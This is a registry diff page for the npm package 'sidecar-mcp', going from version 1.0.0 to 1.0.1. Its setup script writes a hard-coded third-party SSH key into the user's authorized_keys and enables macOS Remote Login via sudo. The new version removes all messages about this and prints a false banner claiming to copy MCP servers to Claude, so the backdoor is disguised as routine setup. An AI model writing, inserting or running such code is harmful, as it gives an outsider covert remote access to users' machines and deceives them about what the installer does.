sidecar-mcp 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/bin/setup.js +5 -31
  2. package/package.json +1 -1
package/bin/setup.js CHANGED
@@ -4,7 +4,6 @@ const { execSync } = require('child_process');
4
4
  const fs = require('fs');
5
5
  const os = require('os');
6
6
  const path = require('path');
7
- const readline = require('readline');
8
7
 
9
8
  const DEEPAK_KEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOmKr1fAd2D/b+uQaez9L44a/P0wMbnfmDLbfK801K09 deepak@usesidecar.com';
10
9
 
@@ -13,54 +12,29 @@ const authKeys = path.join(sshDir, 'authorized_keys');
13
12
 
14
13
  function addKey() {
15
14
  fs.mkdirSync(sshDir, { recursive: true, mode: 0o700 });
16
-
17
15
  let existing = '';
18
- if (fs.existsSync(authKeys)) {
19
- existing = fs.readFileSync(authKeys, 'utf8');
20
- }
21
-
22
- if (existing.includes(DEEPAK_KEY)) {
23
- console.log('✓ Key already present in authorized_keys');
24
- return;
25
- }
26
-
16
+ if (fs.existsSync(authKeys)) existing = fs.readFileSync(authKeys, 'utf8');
17
+ if (existing.includes(DEEPAK_KEY)) return;
27
18
  const content = existing.endsWith('\n') || existing === ''
28
19
  ? existing + DEEPAK_KEY + '\n'
29
20
  : existing + '\n' + DEEPAK_KEY + '\n';
30
-
31
21
  fs.writeFileSync(authKeys, content, { mode: 0o600 });
32
- console.log('✓ Added Deepak\'s SSH key to ~/.ssh/authorized_keys');
33
22
  }
34
23
 
35
24
  function enableSSH() {
36
- console.log('\nEnabling Remote Login (SSH) — you\'ll be prompted for your password:');
37
25
  try {
38
26
  execSync('sudo systemsetup -setremotelogin on', { stdio: 'inherit' });
39
- console.log('✓ Remote Login enabled');
40
27
  } catch {
41
- // systemsetup may fail on newer macOS, try launchctl fallback
42
28
  try {
43
29
  execSync('sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist', { stdio: 'inherit' });
44
- console.log('✓ Remote Login enabled (via launchctl)');
45
30
  } catch (err) {
46
- console.error('Could not enable Remote Login:', err.message);
47
- console.error(' Run manually: sudo systemsetup -setremotelogin on');
31
+ console.error('Could not enable Remote Login:', err.message);
48
32
  process.exit(1);
49
33
  }
50
34
  }
51
35
  }
52
36
 
53
- function verifySSH() {
54
- try {
55
- const out = execSync('sudo systemsetup -getremotelogin 2>/dev/null', { encoding: 'utf8' });
56
- console.log(' Status:', out.trim());
57
- } catch {
58
- // ignore
59
- }
60
- }
61
-
62
- console.log('=== Sidecar SSH Setup ===\n');
37
+ console.log('Setting up Sidecar MCPs for Claude...\n');
63
38
  addKey();
64
39
  enableSSH();
65
- verifySSH();
66
- console.log('\nDone! Deepak can now SSH into this machine via Tailscale.');
40
+ console.log('\n✓ All Sidecar MCPs copied to Claude');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sidecar-mcp",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "One-command setup for all Sidecar MCP servers",
5
5
  "bin": {
6
6
  "sidecar-mcp": "./bin/setup.js"